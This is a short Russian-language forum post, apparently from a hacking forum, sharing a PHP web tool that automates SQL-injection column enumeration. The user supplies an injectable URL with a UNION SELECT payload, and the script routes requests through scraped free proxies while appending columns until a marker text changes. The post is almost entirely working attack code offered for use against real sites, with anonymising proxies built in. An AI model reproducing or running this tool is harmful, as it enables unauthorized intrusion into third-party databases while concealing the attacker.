Очень простой скрипт для автоматизации подбора. Советы, пожелания... ? Использование простое, вставляем найденную скуль, вставляем, что искать в контенте и количесво колонок на перебор. PHP: <html> <body> <style> body {font-family: verdana;} div.text {width: 600px; border: 1px dashed red; padding: 10px; text-align: left;} div.results {width: 600px; border: 1px dashed #27B158; padding: 10px; text-align: left;} ._text {width: 100%; font-family: Verdana;} ._submit {font-family: verdana; font-weight: bold;} </style> <div align="center"> <div class="results"> </div> <br /> <div class="text"> <b>Подбор количества столбцов.</b><br /><br /> <form name="sql_injection" action="" method="post"> URL: <input class="_text" name="url" type="text" value="<?=(isset($_POST['url']))?$_POST['url']:'http://www.example.com/sql.php?id=-1+union+select+1/*'?>"><br /><br /> Искать в контенте текст:<br /> <input class="_text" name="text" type="text" value="<?=(isset($_POST['text']))?$_POST['text']:'SELECT statements'?>"><br /> <input name="type" type="radio" value="-"<?=((isset($_POST['type']) AND $_POST['type']=='-') OR !isset($_POST['type']))?' checked':''?>> пока не пропадет.<br /> <input name="type" type="radio" value="+"<?=(isset($_POST['type']) AND $_POST['type']=='+')?' checked':''?>> пока не появится. <br /><br /> Максимальное количество столбцов.<br /> <input class="_text" name="columns" type="text" value="<?=(isset($_POST['columns']))?$_POST['columns']:100?>"><br /><br /> <input class="_submit" type="submit" name="submit" value="Подбор!"> </form> </div> </div> </body> </html> <pre> <?php set_time_limit(0); function parse_for_proxy() { $html = file_get_contents("http://www.proxy4free.com/page1.html"); preg_match_all("#<td>(\d+\.\d+\.\d+\.\d+)<\/td>\s*<td>(\d+)<\/td>#s", $html, $m); for ($i=0; $i<sizeof($m[1]); $i++) { $proxies[] = $m[1][$i] . ':' . $m[2][$i]; } shuffle($proxies); return $proxies; } function check_proxy($prx) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://www.msn.com/'); curl_setopt($ch, CURLOPT_PROXY, $prx); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $data = curl_exec ($ch); curl_close($ch); if ($data !== false AND preg_match('#HTTP\/1\.\d+ 200#',$data)) { return true; } else { return false; } } function http_get_contents($url, $prx, $timeout=7) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)"); curl_setopt($ch, CURLOPT_PROXY, $prx); curl_setopt($ch, CURLOPT_VERBOSE, 0);// показывать вывод curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_NOSIGNAL, false); $data = curl_exec ($ch); /* $inf = curl_getinfo($ch); $error = curl_error($ch); $errno = curl_errno($ch); */ curl_close($ch); return $data; } if (isset($_POST['submit'])) { $proxies = parse_for_proxy(); for ($i = 0; $i < sizeof($proxies); $i++) { if (check_proxy($proxies[$i])) { $proxy = $proxies[$i]; echo 'Прокся: ' . $proxies[$i] . "\n"; break; } else { $proxy = false; } } if($proxy == false) { echo 'Нет живых proxy.'; exit; } if (get_magic_quotes_gpc()) { foreach($_POST as $k => $v) { $_POST[$k] = stripslashes($v); } } $_POST['text'] = trim($_POST['text']); $_POST['url'] = trim($_POST['url']); $comments = substr($_POST['url'], -2); $url = substr($_POST['url'], 0, -2); $_POST['columns'] = ceil($_POST['columns'] * 1); for ($i = 2; $i <= $_POST['columns']; $i++) { $url .= "," . $i; echo $url . $comments ."\n"; flush(); $html = http_get_contents($url . $comments, $proxy); if($html == false) { echo "Трабл с коннектом."; exit; } $searching = strpos($html, $_POST['text']); var_dump($searching); if($_POST['type'] == '-' AND $searching === false) { break; } elseif($_POST['type'] == '+' AND $searching) { break; } } } ?>